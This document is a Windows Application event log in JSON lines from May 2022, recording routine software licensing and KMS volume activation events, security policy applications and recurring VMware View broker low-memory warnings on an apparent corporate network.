{"@timestamp":1652282599063,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1003,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["55c92734-d682-4d71-983e-d6ec3f16059f","\n1: 21c56779-b449-4d20-adfc-eece0e1ad74b, 1, 1 [(0 [0x00000000, 1, 0], [(?)( 1 0x00000000)(?)( 2 0x00000000 0 0 msft:rm/algorithm/volume/1.0 0x4004F040 259200)(?)(?)( 10 0x00000000 msft:rm/algorithm/flags/1.0)(?)])(1 )(2 )(3 )]\n2: 22105925-48c3-4ff4-a294-f654bb27e390, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n3: 2e7a9ad1-a849-4b56-babe-17d5a29fe4b4, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n4: 3c006fa7-3b03-45a4-93da-63ddc1bdce11, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n5: 3c2da9a5-1c6e-45d1-855f-fdbef536676f, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n6: 562634bb-b8d8-43eb-8325-bf63a42c4174, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n7: 58448dfb-6ac0-4e06-b491-07f2b657b268, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n8: 661f7658-7035-4b4c-9f35-010682943ec2, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n9: 942efa8f-516f-46d8-8541-b1ee1bce08c6, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n10: 9db83b52-9904-4326-8957-ebe6feedf37c, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n11: a43f7b89-8023-413a-9f58-b8aec2c04d00, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n12: cbf3499f-848e-488b-a165-ac6d7e27439d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n13: d6992aac-29e7-452a-bf10-bbfb8ccabe59, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n14: d839f159-1128-480b-94b6-77fa9943a16a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n15: e73aabfa-12bc-4705-b551-2dd076bebc7d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n16: fea51083-1906-44ed-9072-86af9be7ab9a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n\n"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168698}}
{"@timestamp":1652282599088,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8197,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["RuleId=502ff3ba-669a-4674-bbb1-601f34a3b968;Action=AutoActivateSilent;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=21c56779-b449-4d20-adfc-eece0e1ad74b;NotificationInterval=1440;Trigger=TimerEvent"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168699}}
{"@timestamp":1652282599335,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8230,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Security-SPP-Action-StateData (REG_SZ) =AppId=55c92734-d682-4d71-983e-d6ec3f16059f;GraceEndDate=2022/11/07:15:23:19;LastConsumptionReason=0x4004f040;LastNotificationId=Cleanup;LicenseState=SL_LICENSING_STATUS_LICENSED;PartialProductKey=8XDDG;ProductKeyType=Volume:GVLK;SkuId=21c56779-b449-4d20-adfc-eece0e1ad74b;ruleId=379cccfb-d4e0-48fe-b0f2-0136097be147;uxDifferentiator=ENVIRONMENT;volumeActivationOrder=normal"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168700}}
{"@timestamp":1652282599364,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8197,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["RuleId=379cccfb-d4e0-48fe-b0f2-0136097be147;Action=CleanupState;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=21c56779-b449-4d20-adfc-eece0e1ad74b;Trigger=TimerEvent"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168701}}
{"@timestamp":1652282629393,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-05-18T15:22:49Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168702}}
{"@timestamp":1652287411380,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168703}}
{"@timestamp":1652320169134,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Thu May 12 03:49:29 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168704}}
{"@timestamp":1652348624259,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168705}}
{"@timestamp":1652363373680,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Thu May 12 15:49:33 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168706}}
{"@timestamp":1652406577666,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Fri May 13 03:49:37 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168707}}
{"@timestamp":1652410377250,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168708}}
{"@timestamp":1652449781548,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Fri May 13 15:49:41 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168709}}
{"@timestamp":1652468049200,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168710}}
{"@timestamp":1652492985953,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Sat May 14 03:49:45 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168711}}
{"@timestamp":1652529441904,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168712}}
{"@timestamp":1652536189972,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Sat May 14 15:49:49 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168713}}
{"@timestamp":1652579394006,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Sun May 15 03:49:54 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168714}}
{"@timestamp":1652587233908,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168715}}
{"@timestamp":1652622598044,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Sun May 15 15:49:58 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168716}}
{"@timestamp":1652648866892,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168717}}
{"@timestamp":1652665802088,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Mon May 16 03:50:02 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168718}}
{"@timestamp":1652709006159,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Mon May 16 15:50:06 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168719}}
{"@timestamp":1652712539925,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168720}}
{"@timestamp":1652752210178,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Tue May 17 03:50:10 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168721}}
{"@timestamp":1652772312162,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168722}}
{"@timestamp":1652795414225,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Tue May 17 15:50:14 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168723}}
{"@timestamp":1652836405406,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168724}}
{"@timestamp":1652838618254,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Wed May 18 03:50:18 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168725}}
{"@timestamp":1652881822290,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Wed May 18 15:50:22 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168726}}
{"@timestamp":1652887455079,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8230,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Security-SPP-Action-StateData (REG_SZ) =AppId=55c92734-d682-4d71-983e-d6ec3f16059f;GraceEndDate=2022/11/07:15:24:14;LastConsumptionReason=0x4004f040;LastNotificationId=VolumeRenewalRequired;LicenseState=SL_LICENSING_STATUS_LICENSED;PartialProductKey=8XDDG;ProductKeyType=Volume:GVLK;SkuId=21c56779-b449-4d20-adfc-eece0e1ad74b;ruleId=502ff3ba-669a-4674-bbb1-601f34a3b968;uxDifferentiator=ENVIRONMENT;volumeActivationOrder=normal"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168727}}
{"@timestamp":1652887456114,"ecs":{"version":"8.4"},"event":{"activity":null,"code":12288,"custom_data":{"EventData":{"Binary":"00000600A5668E05D8C8C199D774B1B7A1305B516C9CD525CCEF7ABF77738C76BA65C009E83E0F169F8E9C39AB4AB66C0B9CFFFAD954BC2903B92BEBAAE5A7377BB707CA9DCBFA1E91B3B7E6877160538A7162294F4803FA84FD3D81E1CD6BE0B4B24066C318FD5C1271D5034A0C8B7F520FFB5D356F03E0B773D667E890092A67803D777259D6321DCB85A8622A0A556C55C4B91ACC3CD8CA21786F4CBEABEFC8B950F35D7866EF6EDED0B9DD3379147DFB8660977C9999F2828106C1181FD7DA42F612E9FB71330866FCD886376B45706940B536463C67986E83F58F6A37106D5704D04A7465B5647DF458CE8CE11139DF8FC394AF3C886B4D44F294BA8037E137A883","Data":{"#text":["0x00000000, 0x00000000, eng-infrasrv101.engineering-ac.de:1688, 66fdcf75-989c-462d-9cda-ff5474d65922, 2022/05/18 15:24, 0, 1, 249120, 21c56779-b449-4d20-adfc-eece0e1ad74b, 5"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168728}}
{"@timestamp":1652887456238,"ecs":{"version":"8.4"},"event":{"activity":null,"code":12289,"custom_data":{"EventData":{"Binary":"000006003A3E76960313014F5D03485C37F4E750FC4A4385A01B50B33D3B732D1A5A45EE82AB859A16B3D712261C0A1C2EC6208420BE7AE91AA777613A5A0BC11A6F1968C634EA5012587A7B931EB5EC86E221B1CF88FAB4743AF25623852739D2388B93325A502016B9B8BF9E22458FE86FA3D5BDD2E542850B32099862D6045D5B9F568DD98557124593E91831A8453A637B286B243469D1F352B63156DCA1BAC56388C7F567B3006A8B97D6557F00B80E5524F1B28E995AF9D6041BDCD603BA2EC4782E3A9A26AD29AEEC47F5CD418F102A025E9DB53855ADD57C69A07EAB7EC13319F4684F6207A90051FBC035B4F78EDC6D9B83D7AE25CC9622093E8F46B9B0F776","Data":{"#text":["0x00000000, 0x00000000, 1, 0, 50, 120, 10080, 2022/05/18 15:24"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168729}}
{"@timestamp":1652887456374,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["ACLUIFileFolderTool-IsSecurityUIEnabled","100"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168730}}
{"@timestamp":1652887456376,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Security-SPP-IgnoreDeferredActivation","500"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168731}}
{"@timestamp":1652887456378,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1033,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["(Security-SPP-Reserved-EnableNotificationMode) ","55c92734-d682-4d71-983e-d6ec3f16059f","21c56779-b449-4d20-adfc-eece0e1ad74b"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168732}}
{"@timestamp":1652887456435,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1003,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["55c92734-d682-4d71-983e-d6ec3f16059f","\n1: 21c56779-b449-4d20-adfc-eece0e1ad74b, 1, 1 [(0 [0x00000000, 1, 0], [(?)( 1 0x00000000)(?)( 2 0x00000000 0 0 msft:rm/algorithm/volume/1.0 0x4004F040 259200)(?)(?)( 10 0x00000000 msft:rm/algorithm/flags/1.0)(?)])(1 )(2 )(3 )]\n2: 22105925-48c3-4ff4-a294-f654bb27e390, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n3: 2e7a9ad1-a849-4b56-babe-17d5a29fe4b4, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n4: 3c006fa7-3b03-45a4-93da-63ddc1bdce11, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n5: 3c2da9a5-1c6e-45d1-855f-fdbef536676f, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n6: 562634bb-b8d8-43eb-8325-bf63a42c4174, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n7: 58448dfb-6ac0-4e06-b491-07f2b657b268, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n8: 661f7658-7035-4b4c-9f35-010682943ec2, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n9: 942efa8f-516f-46d8-8541-b1ee1bce08c6, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n10: 9db83b52-9904-4326-8957-ebe6feedf37c, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n11: a43f7b89-8023-413a-9f58-b8aec2c04d00, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n12: cbf3499f-848e-488b-a165-ac6d7e27439d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n13: d6992aac-29e7-452a-bf10-bbfb8ccabe59, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n14: d839f159-1128-480b-94b6-77fa9943a16a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n15: e73aabfa-12bc-4705-b551-2dd076bebc7d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n16: fea51083-1906-44ed-9072-86af9be7ab9a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n\n"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168733}}
{"@timestamp":1652887456550,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1003,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["55c92734-d682-4d71-983e-d6ec3f16059f","\n1: 21c56779-b449-4d20-adfc-eece0e1ad74b, 1, 1 [(0 [0x00000000, 1, 0], [(?)( 1 0x00000000)(?)( 2 0x00000000 0 0 msft:rm/algorithm/volume/1.0 0x4004F040 259200)(?)(?)( 10 0x00000000 msft:rm/algorithm/flags/1.0)(?)])(1 )(2 )(3 )]\n2: 22105925-48c3-4ff4-a294-f654bb27e390, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n3: 2e7a9ad1-a849-4b56-babe-17d5a29fe4b4, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n4: 3c006fa7-3b03-45a4-93da-63ddc1bdce11, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n5: 3c2da9a5-1c6e-45d1-855f-fdbef536676f, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n6: 562634bb-b8d8-43eb-8325-bf63a42c4174, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n7: 58448dfb-6ac0-4e06-b491-07f2b657b268, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n8: 661f7658-7035-4b4c-9f35-010682943ec2, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n9: 942efa8f-516f-46d8-8541-b1ee1bce08c6, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n10: 9db83b52-9904-4326-8957-ebe6feedf37c, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n11: a43f7b89-8023-413a-9f58-b8aec2c04d00, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n12: cbf3499f-848e-488b-a165-ac6d7e27439d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n13: d6992aac-29e7-452a-bf10-bbfb8ccabe59, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n14: d839f159-1128-480b-94b6-77fa9943a16a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n15: e73aabfa-12bc-4705-b551-2dd076bebc7d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n16: fea51083-1906-44ed-9072-86af9be7ab9a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n\n"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168734}}
{"@timestamp":1652887456572,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8197,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["RuleId=502ff3ba-669a-4674-bbb1-601f34a3b968;Action=AutoActivateSilent;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=21c56779-b449-4d20-adfc-eece0e1ad74b;NotificationInterval=1440;Trigger=TimerEvent"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168735}}
{"@timestamp":1652887456796,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8230,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Security-SPP-Action-StateData (REG_SZ) =AppId=55c92734-d682-4d71-983e-d6ec3f16059f;GraceEndDate=2022/11/14:15:24:16;LastConsumptionReason=0x4004f040;LastNotificationId=Cleanup;LicenseState=SL_LICENSING_STATUS_LICENSED;PartialProductKey=8XDDG;ProductKeyType=Volume:GVLK;SkuId=21c56779-b449-4d20-adfc-eece0e1ad74b;ruleId=379cccfb-d4e0-48fe-b0f2-0136097be147;uxDifferentiator=ENVIRONMENT;volumeActivationOrder=normal"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168736}}
{"@timestamp":1652887456826,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8197,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["RuleId=379cccfb-d4e0-48fe-b0f2-0136097be147;Action=CleanupState;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=21c56779-b449-4d20-adfc-eece0e1ad74b;Trigger=TimerEvent"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168737}}
{"@timestamp":1652887486859,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-05-25T15:23:46Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168738}}
